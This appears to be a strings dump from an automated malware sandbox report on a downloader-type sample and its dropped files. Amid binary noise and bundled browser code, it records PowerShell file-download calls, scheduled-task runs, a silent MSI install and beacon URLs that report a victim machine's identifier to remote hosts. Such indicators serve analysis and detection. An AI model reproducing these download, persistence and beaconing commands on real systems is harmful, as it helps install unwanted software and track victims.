Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(Qev7% :sg
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(QK@\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(V??"g?R??HO???p??9{?Z
Ansi based on Runtime Data (rundll32.exe )
))}function ye(n,t,e){++pc,dc+=(n-dc)/pc,mc+=(t-mc)/pc,yc+=(e-yc)/pc}function xe(){function n(n,u){n*=Na;var i=Math.cos(u*=Na),o=i*Math.cos(n),a=i*Math.sin(n),c=Math.sin(u),s=Math.atan2(Math.sqrt((s=e*c-r*a)*s+(s=r*o-t*c)*s+(s=t*a-e*o)*s),t*o+e*a+r*c);vc+=s,xc
Ansi based on Runtime Data (CPK.exe )
)-4mj{R#}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)/|i]kkj^#kb]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)4-Sznv@v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
); encoder.encodeStruct(codec.String, val.sink_id); encoder.encodeStruct(codec.String, val.original_presentation_id); encoder.encodeStruct(codec.String, val.origin); encoder.encodeStruct(codec.Int32, val.tab_id); packed = 0; packe
Ansi based on Runtime Data (CPK.exe )
);}}_renderTimeCell(cell){if(this._request.duration>0){this._setTextAndTitle(cell,Number.secondsToString(this._request.duration));this._appendSubtitle(cell,Number.secondsToString(this._request.latency));}else{cell.classList.add('network-dim-cell');this._setT
Ansi based on Runtime Data (CPK.exe )
)Jpf/]~/K
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)nZ]Jx (?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)t@?SOZ,?bTQ
Ansi based on Runtime Data (rundll32.exe )
)x'Ts(M'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)ZP*Sy@Hn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
){-jY_x
Ansi based on PCAP Processing (PCAP)
* @param {!Event} event * @private */ onAutofillTap_: function(event) { // Ignore clicking on the toggle button and verify autofill is enabled. if (Polymer.dom(event).localTarget != this.$.autofillToggle && this.getPref('autofill.enab
Ansi based on Runtime Data (CPK.exe )
* Creates a new URL which is the old URL with a GET param of key=value. * @param {string} url The base URL. There is not sanity checking on the URL so * it must be passed in a proper format. * @param {string} key The key of the param. * @param {string}
Ansi based on Runtime Data (CPK.exe )
* Creates and returns a error route response from given Error object. * @param {!Error} error * @return {!Object} */ function toErrorRouteResponse_(error) { return { error_text: error.message, result_code: getRouteRequestResul
Ansi based on Runtime Data (CPK.exe )
*/ getMaxWidthToFit : function(element) { var maxAllowedWidth = $('outer-container').offsetWidth - element.getBoundingClientRect().left - parseInt(window.getComputedStyle(element).marginLeft) - parseInt(wi
Ansi based on Runtime Data (CPK.exe )
*/7((M4}w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*?G?)?:?
Ansi based on Runtime Data (rundll32.exe )
*]W"Ja:C3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*nK"Hf[h~]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+ $client = new-object System.Net.WebClient; $client.DownloadFile <<<< ('http:/
Unicode based on Runtime Data (powershell.exe )
+ $client = new-object System.Net.WebClient;$client.DownloadFile <<<< ('http://
Unicode based on Runtime Data (powershell.exe )
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
Unicode based on Runtime Data (powershell.exe )
+ FullyQualifiedErrorId : DotNetMethodException
Unicode based on Runtime Data (powershell.exe )
+ H/zO)^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+"J]jZ)j:
Ansi based on PCAP Processing (PCAP)
, /iN%6{P
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
, 0, 1, 0, 0, 0, 0, 1); } 11.41% { transform: matrix3d(0.948, 0, 0, 0, 0, 0.948, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 15.12% { transform: matrix3d(0.976, 0, 0, 0, 0, 0.976, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 18.92% { transform: matrix3d(0.996
Ansi based on Runtime Data (CPK.exe )
, undefined, true); localSetting.set({s: 'local', n: 1}); var globalSetting = Common.settings.createSetting('global', undefined, false); globalSetting.set({s: 'global', n: 2}); } function reset() { Runtime.experiments.clearForT
Ansi based on Runtime Data (CPK.exe )
,)?]6h#U}j
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,2bes@\CBWA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,b .p'(7/q
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,pkW>\{3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,u)},Za.darker=function(n){return n=Math.pow(.7,arguments.length?n:1),gt(~~(n*this.r),~~(n*this.g),~~(n*this.b))},Za.hsl=function(){return mt(this.r,this.g,this.b)},Za.toString=function(){return"#"+vt(this.r)+vt(this.g)+vt(this.b)};var Va=Xo.map({aliceblue:157
Ansi based on Runtime Data (CPK.exe )
,YmMcOmM{Oq-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,z=n}0/%O^gf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
- abort() has been called
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
-$!&#,"&(W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-/:/6,0/0t
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-04 12:36:14
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
-??':D[JA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-a Dump all handle information.
Ansi based on Dropped File (hhhhh.exe.655875088)
-addautologger [LoggerName]
Unicode based on Dropped File (ttttt.exe.179545488)
-addtotriagedump Write out buffers for triage memory dumps
Unicode based on Dropped File (ttttt.exe.179545488)
-c Closes the specified handle (interpreted as a hexadecimal number). You must specify the process by its PID.
Ansi based on Dropped File (hhhhh.exe.655875088)
-capturestate [LoggerName]
Unicode based on Dropped File (ttttt.exe.179545488)
-disable [LoggerName] Disables providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
-enable [LoggerName] Enables providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
-EventIdFilter -<in|out> <n> <id1 id2 ...>
Unicode based on Dropped File (ttttt.exe.179545488)
-ExeFilter <Executable names>
Unicode based on Dropped File (ttttt.exe.179545488)
-f@FeC)JQI
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-hybridshutdown [stop|persist]
Unicode based on Dropped File (ttttt.exe.179545488)
-noprocess Disable Process Start/End tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-p Dump handles belonging to process (partial name accepted).
Ansi based on Dropped File (hhhhh.exe.655875088)
-PidFilter <n> <pid1 pid2 ... >
Unicode based on Dropped File (ttttt.exe.179545488)
-pids <n> <pid1 pid2 ... >
Unicode based on Dropped File (ttttt.exe.179545488)
-q [LoggerName] Query status of [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-rt b option is no longer valid. It has been replaced by -buffering.
Unicode based on Dropped File (ttttt.exe.179545488)
-sourceguid #<guid> Enable tracing with Source Guid (enableex/disableex only)
Unicode based on Dropped File (ttttt.exe.179545488)
-StackWalkFilter -<in|out> <n> <id1 id2 ...>
Unicode based on Dropped File (ttttt.exe.179545488)
-start [LoggerName] Starts up the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-stop [LoggerName] Stops the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-systemrundown [LoggerName]
Unicode based on Dropped File (ttttt.exe.179545488)
-update [LoggerName] Updates the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-v?r{(*r
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
. * @type {boolean} * @private */ isClearingInProgress_: false, /** * Whether or not the WebUI handler has completed initialization. * * Unless this becomes true, it must be assumed that the above flags might * not c
Ansi based on Runtime Data (CPK.exe )
. S}vzmp~$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.<3Zq7e_z('
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.??0Y7~?mp?H?_|6(??'>
Ansi based on Runtime Data (rundll32.exe )
.?AUctype_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AUmessages_base@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AUmoney_base@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AUtime_base@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$_Iosb@H@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$_Mpunct@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$_Mpunct@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$_Mpunct@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$basic_filebuf@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_ifstream@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_istream@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_ofstream@DU?$char_traits@D@std@@@std@@
Ansi based on Dropped File (MIO.dll.1862922135)
.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$basic_ostringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_stringbuf@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$codecvt@_WDH@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$codecvt@DDH@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$codecvt@GDH@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$collate@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$collate@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$collate@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$ctype@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$ctype@D@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$ctype@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$messages@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$messages@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$messages@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@_W$00@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@_W$0A@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@D$00@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@D$0A@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@G$00@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@G$0A@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$numpunct@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$numpunct@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$numpunct@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV__non_rtti_object@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV_com_error@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV_Facet_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_Generic_error_category@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_Iostream_error_category@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_Locimp@locale@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_System_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_System_error_category@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVbad_alloc@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVbad_cast@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVbad_exception@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVbad_function_call@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVbad_typeid@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVCAtlException@ATL@@
Ansi based on Dropped File (psi.dll.1283195511)
.?AVcharNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVcodecvt_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVDefaultValueAllocator@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVDNameNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVDNameStatusNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVerror_category@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVexception@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVfacet@locale@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVfailure@ios_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVFastWriter@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVinvalid_argument@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVios_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVlength_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVlogic_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVout_of_range@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVoverflow_error@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVpairNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVpcharNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVpDNameNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVregex_error@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVruntime_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVStyledWriter@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVsystem_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVtype_info@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVValueAllocator@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVWriter@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.\PhysicalDrive%d
Unicode based on Dropped File (psi.dll.1283195511)
.^}wpQ._w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.all(promises).then(this._onFinished.bind(this,changedCSSRules));}_onFinished(changedCSSRules,changedModels){var nodeMapping=new Map();var map=this._map.rebase(changedModels,nodeMapping);if(!map)return null;var cssEdits=[];for(var rule of changedCSSRules){
Ansi based on Runtime Data (CPK.exe )
.d8J7d/trB2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.Ha8&vlQ]W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.j[P}Y6]U
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.m<"m7:}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.mVjc/4[h
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.onchange = function() { self.updateCheckboxes_(); self.validateCommitButton_(); }; $('import-data-commit').onclick = function() { chrome.send('importData', [ String($('import-browsers').selectedIndex),
Ansi based on Runtime Data (CPK.exe )
.pdata
Ansi based on Dropped File (hhhhh.exe.655875088)
.textAlign = 'end'; cell.hidden = !cm.isVisible(i); cell.appendChild( cm.getRenderFunction(i).call(null, dataItem, cm.getId(i), table)); listItem.appendChild(cell); } listItem.style.width = cm.totalWidth + 'px';
Ansi based on Runtime Data (CPK.exe )
.UIString('Rendering'),true,'hsl(256, 67%, 76%)','hsl(256, 67%, 70%)'),painting:new Timeline.TimelineCategory('painting',Common.UIString('Painting'),true,'hsl(109, 33%, 64%)','hsl(109, 33%, 55%)'),gpu:new Timeline.TimelineCategory('gpu',Common.UIString('GPU'),
Ansi based on Runtime Data (CPK.exe )
.Xs[+4VIt
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.|q6]+&tt
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/,IO^C%oV!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/,RD~OQL\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
// (Tracked at https://crbug.com/368855.
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
// Extension ID: nkeimhogjdpnpccoofpliimaahmaaome
Ansi based on Dropped File (CJ)
// For tests.
Ansi based on Dropped File (CJ)
// Note: Always update the version number when this file is updated. Chrome
Ansi based on Dropped File (CJ)
// triggers extension preferences update on the version increase.
Ansi based on Dropped File (CJ)
//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1
Ansi based on PCAP Processing (PCAP)
/20170427_UPdateuuu.dat
Ansi based on PCAP Processing (PCAP)
/?!"yQ
Ansi based on Runtime Data (rundll32.exe )
/?7Z?9??????.?Z?q
Ansi based on Runtime Data (rundll32.exe )
/??{???QE?E??2?x?
Ansi based on Runtime Data (rundll32.exe )
/c schtasks /Run /TN Milimili
Ansi based on Process Commandline (cmd.exe)
/c schtasks /Run /TN Windows-PG
Ansi based on Process Commandline (cmd.exe)
/cl/downloader?version=52.0.20.935&channel=official&d=1&userid=VBOXXHARDDISK_VB47a275fd-833fcbff&src=ff
Ansi based on PCAP Processing (PCAP)
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=C
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=G
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=m
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=p
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=Q
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=U
Unicode based on Runtime Data (powershell.exe )
/dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=m
Unicode based on Runtime Data (powershell.exe )
/firef/install/52.0.20.935.dat
Ansi based on PCAP Processing (PCAP)
/i "C:\winsap_update\Snarer.msi" /qn
Ansi based on Process Commandline (msiexec.exe)
/index.php?uid=vboxxharddisk_vb47a275fd-833fcbff&pid=psgo&ver=2.1.4
Ansi based on PCAP Processing (PCAP)
/index.php?uid=vboxxharddisk_vb47a275fd-833fcbff.dat
Ansi based on PCAP Processing (PCAP)
/provide?clients=205294FCB91F0BD563B0A9FDE9B54EA6&reqs=visit.cpk.install.ed
Ansi based on PCAP Processing (PCAP)
/provide?clients=205294FCB91F0BD563B0A9FDE9B54EA6&reqs=visit.cpk.startload
Ansi based on PCAP Processing (PCAP)
/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload
Ansi based on PCAP Processing (PCAP)
/search/z.php
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.0&update3=version,2.1.4
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=visit.winsap.work&update3=version,2.8.12
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish
Ansi based on PCAP Processing (PCAP)
/v4/service/205294FCB91F0BD563B0A9FDE9B54EA6?action=visit.UpdatesWuApp.heartbeat.462
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.ClearLog.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.CPK.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.Gubed.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.psgo.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.UUUCC.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.WinSnare.1
Ansi based on PCAP Processing (PCAP)
/vboxxharddisk_vb47a275fd-833fcbff.dat
Ansi based on PCAP Processing (PCAP)
/vboxxharddisk_vb47a275fd-833fcbff/psgo/2.1.4
Ansi based on PCAP Processing (PCAP)
/web_report
Ansi based on PCAP Processing (PCAP)
/winsap/up?ptid=winsap&sid=winsap&ln=en_us&ver=2.8.12&uid=VBOXXHARDDISK_VB47a275fd-833fcbff&dp=0
Ansi based on PCAP Processing (PCAP)
0 0$0(0,0004080<0@0D0H0
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96z"/></g><g id="cloud-circle"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm4.5 14H8c-1.66 0-3-1.34-3-3s1.34-3 3-3l.14.01C8.58 8.28 10.13 7 12 7c2.21 0 4 1.79 4 4h.5c1.38 0 2.5 1.12 2.5 2.5S1
Ansi based on Runtime Data (CPK.exe )
0!<)W@>y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0#0'0+0/03070;0?0C0G0K0O0S0W0[0_0c0g0k0o0s0w0{0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0&VL.P]!nE
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0(0/0
Ansi based on Dropped File (hhhhh.exe.655875088)
0- abort() has been called
Unicode based on Dropped File (MIO.dll.1862922135)
002- floating point support not loaded
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
013 Tencent. All Rights Reserved.
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
024282<2@2D2H2L2P2\2`2d2h2l2p2t2x2|2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0??4\?#@?:4?
Ansi based on Runtime Data (rundll32.exe )
1 1(1@1P1T1d1h1p1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
1&341:3.a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
1&341:3\|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
1(?,?0?4?8?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
1).replace(/\\(.)/g,'$1');}_parseFileQuery(query){var match=query.match(/^(-)?f(ile)?:/);if(!match)return null;var isNegative=!!match[1];query=query.substr(match[0].length);var result='';for(var i=0;i<query.length;++i){var char=query[i];if(char==='*'){resu
Ansi based on Runtime Data (CPK.exe )
1)return'1 item selected.';return numEvents+' items selected.';}function createSubView(subViewTypeInfo,selection){var tagName;if(selection.length===1)tagName=subViewTypeInfo.singleTagName;elsetagName=subViewTypeInfo.multiTagName;if(tagName===undefined){thr
Ansi based on Runtime Data (CPK.exe )
1.0.0.1
Unicode based on Dropped File (MIO.dll.1862922135)
1.1.3
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
10.0.14393.33
Unicode based on Dropped File (ttttt.exe.179545488)
10.0.14393.33 (rs1_release_sec.160727-1952)
Unicode based on Dropped File (ttttt.exe.179545488)
134W:3>123cX\`ua
